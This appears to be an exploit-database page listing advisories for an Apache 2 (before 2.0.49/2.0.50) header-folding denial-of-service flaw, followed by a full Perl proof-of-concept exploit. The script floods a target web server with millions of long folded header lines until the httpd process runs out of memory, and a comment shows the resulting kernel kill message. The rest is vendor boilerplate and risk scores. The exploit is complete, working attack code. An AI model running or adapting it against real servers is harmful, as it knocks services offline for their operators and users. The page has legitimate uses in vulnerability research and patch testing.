Apache - Arbitrary Long HTTP Headers (Denial of Service)
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| Apache Input Header Folding Remote DoS | 20 Aug 200400:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2004-09-07) | 9 Sep 200400:00 | – | nessus | |
| Apache < 2.0.50 Input Header Folding and mod_ssl DoS | 23 Mar 200500:00 | – | nessus | |
| Apache 2.x < 2.0.50 Multiple Remote DoS | 29 Jun 200400:00 | – | nessus | |
| Fedora Core 1 : httpd-2.0.50-1.0 (2004-203) | 23 Jul 200400:00 | – | nessus | |
| Fedora Core 2 : httpd-2.0.50-2.1 (2004-204) | 23 Jul 200400:00 | – | nessus | |
| GLSA-200407-03 : Apache 2: Remote denial of service attack | 30 Aug 200400:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2004-09-07) | 8 Sep 200400:00 | – | nessus | |
| Mandrake Linux Security Advisory : apache2 (MDKSA-2004:064) | 31 Jul 200400:00 | – | nessus | |
| RHEL 3 : httpd (RHSA-2004:342) | 6 Jul 200400:00 | – | nessus |
10
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#
use IO::Socket::INET;
$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
$buf=" $buf4\r\n";
send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";
$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";
send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Mar 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.4
EPSS0.84784